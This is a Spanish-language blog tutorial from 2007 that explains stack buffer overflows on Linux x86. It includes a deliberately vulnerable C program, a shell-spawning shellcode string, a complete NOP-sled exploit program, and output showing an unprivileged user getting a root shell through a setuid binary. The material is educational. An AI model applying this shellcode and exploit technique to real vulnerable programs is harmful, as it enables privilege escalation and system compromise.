domingo, 20 de mayo de 2007

Buffer Overflow


En este post se describe el funcionamiento de los ataques por buffer overflow. Existen muchos documentos que se ocupan de este tema, aunque considero que en su mayoría complican demasiado la explicación de un concepto que en absoluto es complicado. El objetivo de este documento es dar un enfoque sencillo y educativo al buffer overflow. Espero haberlo conseguido.

¿Qué es un buffer overflow?

Un buffer overflow, como su mismo nombre indica, consiste en escribir en un buffer mas datos de los que es capaz de contener. En el lenguaje C este caso suele darse en funciones que no comprueban el tamaño de los buffers, como strcpy(), sprintf(), etc. Un ejemplo típico y sencillo es el siguiente:





/* vulnerable.c */

void vulnerable (char *param)
{
char buffer[512];
strcpy (buffer, param);
}

int main (int argc, char **argv)
{
if (argc!=2)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

vulnerable (argv[1]);
return 0;
}




Como se puede ver en el programa anterior el buffer ha sido diseñado para contener un máximo de 512 bytes. El (mal) uso de la funcion strcpy() permite al usuario del programa copiar en el buffer más de 512 bytes, desbordandolo.



$ gcc vulnerable.c -o vulnerable
$ ./vulnerable `perl -e "print 'A'x1000;"`
Violacion de segmento



El resultado de pasar como parametro un cadena de 1000 As, ha sido un fallo de segmentación. Veamos cuál es el motivo.

El programa vulnerable, en una maquina Linux x86, utilizaría la pila del sistema como en el siguiente dibujo:






__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| buffer |
|__________________|
| Frame Pointer |
|__________________|
| Return address |
|__________________|
| param |
|__________________|
| param |
|__________________|
| param |
|__________________|
| |
| ... |
| |
| |





El stack pointer es un registro que guarda la dirección donde empieza la pila. Esta dirección suele ser siempre la misma en todos los programas.

Cuando un programa llama a una función debe guardar la dirección en la que se encuentra para saber donde volver cuando la función termine. Esta dirección se guarda en el stack y es conocida como dirección de retorno.

Cuando empieza la funcion vulnerable(), se guarda en la pila los parámetros que recibe la función (param), la dirección de retorno, el frame pointer y a continuación las variables que se declaran en la función. En nuestro caso, buffer. Quedando como en el dibujo anterior.

Al desbordar buffer con la cadena de letras A (en hexadecimal 0x41), primero se sobreescreibiría el Frame Pointer, después se sobreescribiría la dirección de retorno (return address), después los parametros, etc. Quedando la pila de la siguiente manera:





__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|

| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- buffer
|__________________|
| 0x41414141 | <-- Frame Pointer
|__________________|
| 0x41414141 | <-- Return address
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| 0x41414141 | <-- param
|__________________|
| |
| ... |
| |
| |




Cuando la función termine sacará la dirección de retorno de la pila y saltara a ella. Esta dirección ha sido modificada por el overflow y ahora es 0x41414141 (las As en hexadecimal). Al saltar a 0x41414141 e intentar ejecutar una instrucción, como se encuentra fuera del espacio de direcciones, obtendra un fallo de segmentación.

Es evidente que esto nos permite cambiar el flujo de ejecución del programa. Solo tenemos que ser capaces de sobreescribir la dirección de retorno con una dirección que apunte a algun lugar de la pila con codigo ejecutable.

Imaginemos que somos capaces de sobreescribir la pila con nuestro buffer overflow de manera que quede como en el siguiente dibujo:




__________________ <------ %esp (Stack Pointer)
| |
| ... |
| |
|__________________|
------> | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | NOP NOP NOP NOP | <-- buffer
| |__________________|
| | SHELLCODE | <-- buffer
| |__________________|
| | RET RET RET RET | <-- Frame Pointer
| |__________________|
------- | RET RET RET RET | <-- Return address
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| RET RET RET RET | <-- param
|__________________|
| |
| ... |
| |
| |





Donde NOP es una operación del procesador que no hace nada, SHELLCODE es nuestro código ejecutable y RET una dirección de retorno falseada que apunta a algun lugar de la zona de NOPs.

Si todo saliese bien, cuando el progama saltase a la dirección de retorno (modificada por el buffer overflow) iría a parar a algun lugar de la zona de NOPs y a continuación pasaria de un NOP al siguiente hasta llegar a la SHELLCODE, que sería ejecutada.

¿Sencillo no?
Pues solo es necesario desarrollar un programa (o exploit) que cree un buffer con las características mencionadas.

El único problema con el que nos podemos encontrar consiste en averiguar a que distancia del stack se encuntra la zona de NOPs. Si no acertamos, nuestro programa saltara a una zona equivocada, produciondo un error de segmentación, de intrucción no valida, etc.
Por este motivo nuestro exploit debera ser un programa parametrizado que nos permita modificar el offset (distancia del stack pointer a la zona de NOPs).

Antes de empezar con el desarrollo del exploit, es necesario hacer algunos comentarios acerca de la shellcode:
La shellcode es el código ejecutable que hay que colocar en el stack. Ahora no entraré en como se desarrolla. Solo diré que consiste en un código hexadecimal que depende del sistema operativo y la plataforma. En el exploit de ejemplo se utilizara la siguiente:



\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68
\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd
\x80\x31\xc0\x40\xcd\x80




Este código, para Linux x86, proporciona una shell interactiva al usuario.

Desarrollo de un exploit:

Según se ha explicado en el apartado anterior, el desarrollo del exploit consiste en crear un buffer con unas caracteristicas especiales, y utilizarlo para desbordar el programa vulnerable.

Los pasos a seguir por el exploit son los siguientes:


1. Crear un buffer de tamañoo superior al buffer original. Unos 100 bytes mas son suficientes. Aunque en nuestro caso bastaría con unos cuantos menos.

2. Buscar el stack pointer. Con una función como la siguiente:



unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}



3. Obtener una dirección de retorno restando un offset a la dirección del stack pointer.

4. Rellenar el buffer con la estructura estudiada. Más o menos asi:

BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR


5. Ejecutar el programa vulnerable con nuestro buffer como parametro.


Veamos el programa de ejemplo:



/* exploit.c */

#define NOP 0x90

char shellcode[]=
"\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd"
"\x80\x31\xc0\x40\xcd\x80";

/* Retorna el stack pointer */
unsigned long get_sp(void)
{
__asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
char *buffer;
char *pbuffer;

long *addr_pbuffer;
long nop_addr;

int offset=0;
int size;
int i;

if (argc!=3)
{
printf ("Uso: %s \n", argv[0]);
return 0;
}

size = atoi(argv[1]) + 100;
offset = atoi(argv[2]);

if (!(buffer = malloc(size)))
{
printf("malloc()\n");
exit(0);
}

/* Direccion aproximada de la zona de NOPs */
nop_addr = get_sp() - offset;

/*
* Llenamos el buffer con la direccion de retorno (R):
* BUFFER: RRRRRRRRRRRRRRRRRRRRRRRRRRRRRRR
*/
pbuffer = buffer;
addr_pbuffer = (long *) pbuffer;
for (i = 0; i < size; i+=4)
*(addr_pbuffer++) = nop_addr;

/*
* Llenamos la primera mitad del buffer con NOPs
* BUFFER: NNNNNNNNNNNNNNN RRRRRRRRRRRRRRRR
*/
for (i = 0; i < size/2; i++)
buffer[i] = NOP;

/*
* Ponemos la shellcode (S) en la mitad del buffer
* BUFFER: NNNNNNNNNN SSSSSSSSSS RRRRRRRRRR
*/
pbuffer = buffer + ((size/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
*(pbuffer++) = shellcode[i];

/* Delimitamos el final del buffer */
buffer[size - 1] = '\0';

/* Ejecutamos el exploit */
execl("./vulnerable", "vulnerable", buffer, 0);

return 0;
}


Probemos nuestro exploit:


$ gcc exploit.c -o exploit
$ ./exploit
Uso: ./exploit


Pasamos como parametro el tamaño del buffer de nuestro programa vulnerable y, de momento, un offset de 0.


$./exploit 512 0
sh-2.05b#


A la primera! Mucha suerte hemos tenido.
Probemos con un buffer inferior. Compilemos vulnerable con un buffer de 256.



...
char buffer[256];
strcpy (buffer, param);
...



$ gcc vulnerable.c -o vulnerable
$ ./exploit 256 0
Instruccion ilegal
$ ./exploit 256 100
Violacion de segmento
$ ./exploit 256 200
Violacion de segmento
$ ./exploit 256 300
Instruccion ilegal
$ ./exploit 256 400
Violacion de segmento
$ ./exploit 256 500
sh-2.05b#



En pocos intentos ya tenemos nuestra shell. Hagamos una última prueba con un buffer de 2048 bytes.




...
char buffer[2048];
strcpy (buffer, param);
...




gcc vulnerable.c -o vulnerable
$ ./exploit 2048 0
Instruccion ilegal
$ ./exploit 2048 500
Instruccion ilegal
$ ./exploit 2048 1000
sh-2.05b#



Como puede comprobarse, no resulta muy dificil encontrar la distancia desde el stack pointer a la zona de NOPs.

Para finalizar veamos un ejemplo de como puede utilizarse un ataque de buffer overflow para escalar privilegios.

Supongamos un programa vulnerable setuid. Podemos crear uno con:



$ chmod +s vulnerable
$ ls -lh vulnerable
-rwsr-sr-x 1 root root 4,9K jul 26 17:49 vulnerable


... y un usuario sin privilegios:


$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)



El usuario sin privilegios puede explotar vulnerable y obtener su privilegio de root. Veamos:



$ id
uid=500(pepito) gid=500(pepito) grupos=500(pepito)
$ exploit 2048 1000
sh-2.05b# id
uid=0(root) gid=500(pepito) groups=500(pepito)



Referencias:

Smashing The Stack For Fun And Profit
http://www.phrack.org/phrack/49/P49-14

How to write Buffer Overflows
http://www.insecure.org/stf/mudge_buffer_overflow_tutorial.html

No hay comentarios: